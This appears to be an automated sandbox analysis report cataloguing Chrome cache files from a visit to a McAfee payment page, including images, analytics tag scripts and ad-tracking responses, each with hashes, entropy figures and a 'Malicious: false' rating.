Preview:	.PNG........IHDR...............dm...6PLTE...@Z.BY.@W.BW.AX.AW.@X.@X.AX.BW.BX.BX.BW.@U.AW.BX.BX..W.F....tRNS.0.p...@ ....p0.`.QYn....orNT..w.....sRGB........>IDAT..c`..F&f....$...J..6v$...)....X...y../.P....uT..G.a.`...&...V.q.....IEND.B`.

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	234
Entropy (8bit):	6.110732904818618
Encrypted:	false
SSDEEP:	6:Nk6MGMcRWKbljxQuXRlt3rodaJfdSWhMtBn:Mz5KbljxHjUdC3MtB
MD5:	9CE99EC458DAF212F9812A90F3FADD13
SHA1:	9E3041BC91B79A17B52E0FBB6C2D0E2F905D98A1
SHA-256:	B0D335401C9FD5FAC9991EC92EDAF7865FF3A491EBE390120936C69796C3B753
SHA-512:	D1A4C2279ECAA2CA24515389CC9350FF872537DBC5CFC704F0896A83530D9F60650D979CB4DA826E3A616AD74D21C5F0FC2781D08AB119393061BC49784AF8FD
Malicious:	false
Reputation:	low
Preview:	GIF89a.............ppp...0/1igg...zwzGFI........._\a...UTT...~.............................................!.......,..........g .4.Aa....0..R@..GP.A. .[N........X... @l...i..4...)q`.4V.C.!........(...`...n.~.7..*...............!.;

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5674)
Category:	dropped
Size (bytes):	19553
Entropy (8bit):	5.448477811145886
Encrypted:	false
SSDEEP:	384:dfNsImVVMFdWa9Yp+pJh2r0i4k3UenbEqPd2r8cu:dfKViYp+TsLVbEA2r8cu
MD5:	922E5B3976624DC6BA1FE753908282DE
SHA1:	A1C8F0C46089E15B4AD03B2B85F32E20891D1CBE
SHA-256:	A446DC1EF9C594642CA348B6180C5B59DDFA497740C6B6A8326937CA1A354DBF
SHA-512:	C3B2B58B433597AA9D24C0DFFD25D29175534224BE8F2DB994D39530CCA80CAED4CC95B88150495051FFF5F399E593F514450CFF3B3BD10354E7994DAF708AAF
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.548 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb(

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1265
Entropy (8bit):	6.991835776777772
Encrypted:	false
SSDEEP:	24:rGDc/jcaWMmp//VwuWW3uVi/Y0pUYWCrHuogWcdMGVT3peMD80t/5Wsp:rGo/jKdVwuWW+oQNC65uGdZ7D8u/5Wsp
MD5:	13194449924B8DDB1549D7A8D6AB0D70
SHA1:	0AED3EE4FD77C2BBF2D979A2EC44F9767FFF82F0
SHA-256:	8986229442925ACD95C62D3A4294BA22B2423A135FA6CAE4861C0A77E06B7D57
SHA-512:	1FCD9C8091D72B2A767B744C689DF8A0F9831822CB5884F23220E7E22BFEA43FA2093E324F5A9A29BA74053EB64C3879CAE759CE2014468A9830391D02BA226E
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/payment-image/visa_mastercard_discover_cvv.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@...................Y.....................8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......N...4....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......N...4....pixi............ipma..........................iref........auxl.........=mdat......f..2..E(..(...5..q..i...,...J.LL>.D.F*.....2..h..wa46>.....N..P......2.CG.....&#.(j... V..\|....cexE..&n[4a2..xK...p.!...SL%.j.]U....v..(..k.0.t.:...B..!.....{...s....t.~H.l j..S..L./.4.b4.(..E..(....Q.....C.\.{O....(e.."{...E.:...nR..20a..,....$..)L.\m0I..gup.<9...J(.9.[}.........B_n.zc'..Q.#=....pnHCf.F....D.s...RQK.x......f......2......y..,._E...6.5.O.o../.{i..d....a%.b.p&.s.l.qm.m..Ec#.`a....9.?$B..>..[..G.!...m6Sn(............<.....{. .......r;...f.].K.M..(..\.-A.&O...B......+..<3...".+.......s.=P........."G.

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	6.783196235436125
Encrypted:	false
SSDEEP:	24:81hzVWwjx82lY2T3FVWW5LyJ3Vu+bGFnh0Xasr9+vtkNa6vLq2:iJwNn2xQFJ3bknKqsemNHz
MD5:	D4CE6E3F44D5DDCC50F3F1E88107B886
SHA1:	1B1969CFF7E88BCE4B1196551D6A44BEF0EF6DCF
SHA-256:	2D21436C30BE8369ABD4DCBF6B26D1C5D9DB2F039C398D5C8AEBA3DB93D7D7A5
SHA-512:	839B60C3C370C9557A4B5F3082B4588C8BDD558FF7C6AA0D4B99F7097994BCBEC62358B80D3B5A54EA833255745880ECFA19E3FE95A63D7EB370F9DB77589C60
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:6CEE4653EA9211ED97A3D31F16D4FF72" xmpMM:DocumentID="xmp.did:6CEE4654EA9211ED97A3D31F16D4FF72"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CEE4651EA9211ED97A3D31F16D4FF72" stRef:documentID="xmp.did:6CEE4652EA9211ED97A3D31F16D4FF72"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......{IDATx..=K.A......4.w..b......F...[U.T"h.............%...l.....;.v...Q. g...1.. '..p,.X.<....T.....~.l...

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16904), with no line terminators
Category:	downloaded
Size (bytes):	16904
Entropy (8bit):	5.5930145216342755
Encrypted:	false
SSDEEP:	384:y4bg5ThIQwfNHTWdhh/QyfDHhW0hRQifhHiWHhZQBEf/HVWLhInQDGf2nH1gWwu0:mD0l6dzIS7gOuCx/B2CfMVIQDm2H1VwR
MD5:	4E665BC3575E0AC7FDC59B85C5769981
SHA1:	18BF79FACE9B026C8848DE3F3DB4EF6C41389761
SHA-256:	602771B1CDE468C068D4249A803D6537AE998782741E77F3E54CB4302C01B1DB
SHA-512:	662B1676D0B5FD7F4F47AEC9536F213EC202FF99EFDF434B23D6DE9B06EEB2E9A7700881C0C403BC7CB0DC56FB4308020D701D17F9EA44B9C56AC43FC4849BDD
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/740246542?random=1727968793205&cv=11&fst=1727968793205&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":0,"expirationTimeInSeconds":15552000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"4s875874067.1727968793","biddingLogicUrl":"https://td.doubleclick.net/td/bjs","dailyUpdateUrl":"https://td.doubleclick.net/td/update?ig_name=4s875874067.1727968793\u0026ig_key=1sNHM4NzU4NzQwNjcuMTcyNzk2ODc5Mw!2sZ-wEGg!3sAAptDV7hdABk","trustedBiddingSignalsUrl":"https://td.doubleclick.net/td/bts","trustedBiddingSignalsKeys":["1srfVFzQ!2sZ-wEGg!3sAAptDV7hdABk"],"userBiddingSignals":[["812179474","6841783013","6905855091","811444490","6841783601","6525046837","6905854371","6902696306","6841772896","8648129572","7740964555","864

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 18, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	465
Entropy (8bit):	6.612973156393524
Encrypted:	false
SSDEEP:	12:6v/7ElZIRhN27g8qB7HX3/Nllb/XJcjYw9L16nIGU5wz:ZwN274BDXPdur568A
MD5:	4160AB2DA7084D592B90DC2C3821095F
SHA1:	E90A3AF085D6B5F5792E540CBCFD4146B19E792D
SHA-256:	6C0429D43E58E57344C584E6D6C634BA7C1BFC6273BD3572F72B30CB0C577040
SHA-512:	35F700B89D07AF1BAAFB587D97EED753C971504234A18BCA857F06F43D891248A0E0459DDB078B35CB82CE2E400B136008D243D73FB3CC9ECC95876A4A234F52
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/payment-image/discount-check.png
Preview:	.PNG........IHDR.............a.~e....PLTE...@..;..;..<..<..:..8..<..=..=..>..=..<..:..=..=..=..<..<..@..=..:..<..;..<..=..<..=..>..=..>..=..@..>..<..:..=..<..;..>..;..>..=..=.....c...,tRNS..p...` ....@0.`p.. .0.p.....P....@`P._.p.`.#."....orNT..w.....sRGB.........IDAT..MPm.. ...%......V..........q.q....x...j.s..E.QK'.I...6.%s..e.WB..j.(q..E....#...{B...h...6...\|q.ks.....Z..0Q.^lZ#........->.S.l\|...!H..~..........A3`..v...#.K.S....M.Lq/..#...0.......IEND.B`.

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15331), with no line terminators
Category:	downloaded
Size (bytes):	15331
Entropy (8bit):	5.601110127721114
Encrypted:	false
SSDEEP:	384:y3bgYgfDHTfNQwhRQifhHiWHhInQDGf2nH1gWwuhIW0WdhHhhZQBEf/HVWLh/Qys:r7bSauCx/BIQDm2H1VwodRdxz2CfMVIF
MD5:	E970CC64EB3C091DDB0066BA574723B3
SHA1:	FDF9B79B39AC5BE33CD28A961E0990171E5AF5A1
SHA-256:	BCE4B6BA425696E744B53A4C15458DA7FEC0FB88534560439182B42769005C78
SHA-512:	FED1C4CC7E8E6A8AFA46CBE058695B39D1999AAC38E52415F64588D46AADAC272359048903F799CF0880BEDBFD51812782D080287B97D770D00F690B34C53545
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/740246542?random=1727968793182&cv=11&fst=1727968793182&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":0,"expirationTimeInSeconds":7776000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"4s875874067.1727968793","biddingLogicUrl":"https://td.doubleclick.net/td/bjs","dailyUpdateUrl":"https://td.doubleclick.net/td/update?ig_name=4s875874067.1727968793\u0026ig_key=1sNHM4NzU4NzQwNjcuMTcyNzk2ODc5Mw!2sZ3VdGg!3sAAptDV4nMGBL","trustedBiddingSignalsUrl":"https://td.doubleclick.net/td/bts","trustedBiddingSignalsKeys":["1srfVFzQ!2sZ3VdGg!3sAAptDV4nMGBL"],"userBiddingSignals":[["6902696306","6905855091","6905854371","8380357595","6841772896","812179474","7740964555","6841783601","7741720626","6525046837","7741013141","684

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	410
Entropy (8bit):	7.304662349680011
Encrypted:	false
SSDEEP:	12:gDstlHD3OT8p8725Whh+eag5ZnlUKEd6HPH0l3hHnI:gDsvglnhrlUKQ3hHnI
MD5:	2BFA8B4AD22A5369802BEEF6D4DBF520
SHA1:	CE80866E2688F32AB061AFE894B6260C42AC8A9D
SHA-256:	F9E363EE45BAAB7FEA9F44A8FB542DBEFEC7FDE56C4A16599CA22B6C84D7160E
SHA-512:	A63CBB49F3D2D4CEFAA057A6005227AB1C726FFF498B8A2602B6EB683FFEDF98F9AD05022B3D1705B5861DEEB24A234ED4A5BA742576716671F3F6908C0FECC0
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/icon3.png
Preview:	RIFF....WEBPVP8X..............ALPH3.....s[.......Ne.6J;...:..8....ADL..CE.=...9\|.....j...j...Er...W.0;f+#.5_....;..&....(.;. N.O...oq..UN.......MU...Jr..7.gkA.Py.......<..x..j..~p..:..0x.R`<.i).,......J....Y.2..&..@..?..X...T....W)ZO.....Q.........)^B.v...}6....a.cV....%...s...d ..9.f.g......n.I.\|]#....../...tG.1.\EW_..!.VP8 8...p........>.R.L($."7.X....i..;.M.......K..l.-..>-.l. ..

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5552)
Category:	downloaded
Size (bytes):	70234
Entropy (8bit):	5.32516296629246
Encrypted:	false
SSDEEP:	1536:RJeUwT7hpwNFHM9ZK0BK01QYTZ02LKVsdmpyKcicyP:RIT7ss9ZKAKBYj8wKcHyP
MD5:	6E5297A25625A192696D72CC492049D1
SHA1:	2512F1696FEE96BE09442A33DB663C4CB19F2E12
SHA-256:	ED10D9F5A68334A630844AEFFD7A620A6C0409B276A64116214D56F1CE89FAAD
SHA-512:	7574C1561FA4315865412A3064534D2340FB773E8608C02FB6A451863B32F463DA17D212E9BB531698E23417FC52602547BDB9AC67426559C2EE7B9918C741EE
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/signals/config/554540123362514?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	6225
Entropy (8bit):	5.976934819783072
Encrypted:	false
SSDEEP:	96:+R2K3Z4n7tyVwip82hezk6227gLFoXhu1XuE20ot+pVY3YptWDzOzgXK3Zx:ql3KnxyGGMzb7noR20NTww33
MD5:	2BD5C073A88B83ED74DB88282A56DDFB
SHA1:	D0EBFC376F8C6A44A8D4CD216817DCD7D0C33650
SHA-256:	AB5C23A05E39DEED14D9D8262B0DCE9F024F86105A27196CAD37D14A3F516E09
SHA-512:	5C6C4A92E93FC0F6A675658CC84F6187FDEBD3EEE94EFD07E24658736CBA598F3BC7156B19834B13FB44C1D43FCB7DF9FCCA7F0A453037E30DA76BA8F4B23B89
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/i/productlogos/translate/v14/24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><defs><path d="M21.5 5h-9.17L11 1H2.5C1.68 1 1 1.68 1 2.5v15c0 .83.68 1.5 1.5 1.5h9.17L13 23h8.5c.82 0 1.5-.68 1.5-1.5v-15c0-.83-.68-1.5-1.5-1.5z" id="a"/></defs><clipPath id="b"><use overflow="visible" xlink:href="#a"/></clipPath><g clip-path="url(#b)"><image height="31" opacity=".2" overflow="visible" transform="translate(3 1)" width="29" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB0AAAAfCAYAAAAbW8YEAAAACXBIWXMAAAsSAAALEgHS3X78AAAA GXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABQBJREFUeNq8V8tu20YUvXdm+LCk RKiMwI1TFEXhVZJd1gW66xekv9DPqPsvXdU/UaDroJskKy+CInCcGpKtFy2SM/f2DEXZia0odtKW AkFJ8zhzzn3S0Ycvps+79EMDbj3Yfgv4EM+XTN/fEOb3Zg3AXmq7j64D5/e/x/EfzZMnX5jx+LFZ LLyp6yNDOzskYb6RubFdpbdvKUl2Jc+d9PvP5dmzUyH6TVoYXQOq+H5g9vb+cONsO9maLpIyyZPU kZNAppmh9Vpg5kSXwCSVJ5/Vi/r8Tl73y2F9ePidJ3oaga+B4vkUgF+6EW1ndz11gvNdDdL1bDN

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1117)
Category:	downloaded
Size (bytes):	3128
Entropy (8bit):	5.332226658762196
Encrypted:	false
SSDEEP:	96:obR1QEnN5ejImVB/MfG5aQJUGpM0Ld//gH:obFnNojImV+fG5a3GuK//gH
MD5:	E6F3F70F4156F5A23700D5B973140D28
SHA1:	E3CF8F08F6ECAB893E5AB898F583D76B2506AF90
SHA-256:	DFFA207B1F29F0E76D9002260ECF66A19D3D160638C72BC4E07F3AB11915E266
SHA-512:	9D88195C3CE0C3BC6712D1D6BA7BE0C681186A8EA579527EDC6FEEE2918E6133FE113BB0F8EF1005F7B1D629E26A7A73464F222D0A2F9291C289E56662611FC1
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.361.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.361 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 18, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	589
Entropy (8bit):	6.635142282179905
Encrypted:	false
SSDEEP:	12:6v/7ElZ/7wdsuEM8q2VwJAQWyGDxZYFg8QJXhaXhVjbnyvUTzikz:ZGdsuEM8ql0yGtZYFg8QjMbWUK+
MD5:	1F11D6958128739464147E7BD7FCADC8
SHA1:	C15F365F335F6EBE5AC858A7A1C52030F54B1F7F
SHA-256:	49BB52164D2CF8ADF278CAED9875758631EF33072540E4C17E24EC3EF7D3DC09
SHA-512:	92650E8099997993EB0AC55760E73C4E49A42DA1D77D3451BE7BFA0FAE78ED773377BC8F0F4A01D2EF2FCBD1E4137648DE0205215D08EB68854FC144A2E5F986
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............a.~e....PLTE...3ffUUUFF]QQ^MMYFOaMM^GN\LLZJQ^IN^KP_KO\JN_IM]HP[KO^JN\IP_KO]JN\JQ^IO]IO^KN]IO^KN^IN]KP]JO]IN\KP^JN\IP]JN^IP]IO]KO^IO^JO]IN]KO]JO^JN\JO]JP]JO]IO]JN]JO\JO]JO]JO]JO]JO]IO^JO]JO]JO]JO^JO]KO]JO]JO]JO]JO]JO]JO]JO]JO].....%....FtRNS........$%&13=>BCDEFGHLMTUW\efklmopuv................................."..&....bKGDG`..{....IDAT.....".....i]mDt8r..66[....$3.. [.f..j..r6+#.R`...f.Js..:...K..;...y.....+..^.9.!.ry..,S..0.&wq.E...lUago.V<.\|...`..g..B....o....^...rj.M.....w.#..I.0.+....xC.X...../.B=.q+!iO"...8....Q.@.?]......j....ml.....IEND.B`.

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	4.301508290129998
Encrypted:	false
SSDEEP:	3:m8ZJ570T4X7:m+5X7
MD5:	AD8B6F08655797587CDEC719A94EFE59
SHA1:	182ADF5A140796F81E930649D05654DBF22FD5B7
SHA-256:	77D5FE96DEFD6C8C1E3B0466B4827CF83DC7E5C727A10177E115D25132FA86F6
SHA-512:	519A8EA7CE2ED8661CC72D58BC0C02E721EF8E64608F4D2E26A56A970D43EBBF21BDF579C543EE1DFD667DA8F87467C60111A3E6D246D435A5C2D066AB88EFA3
Malicious:	false
Reputation:	low
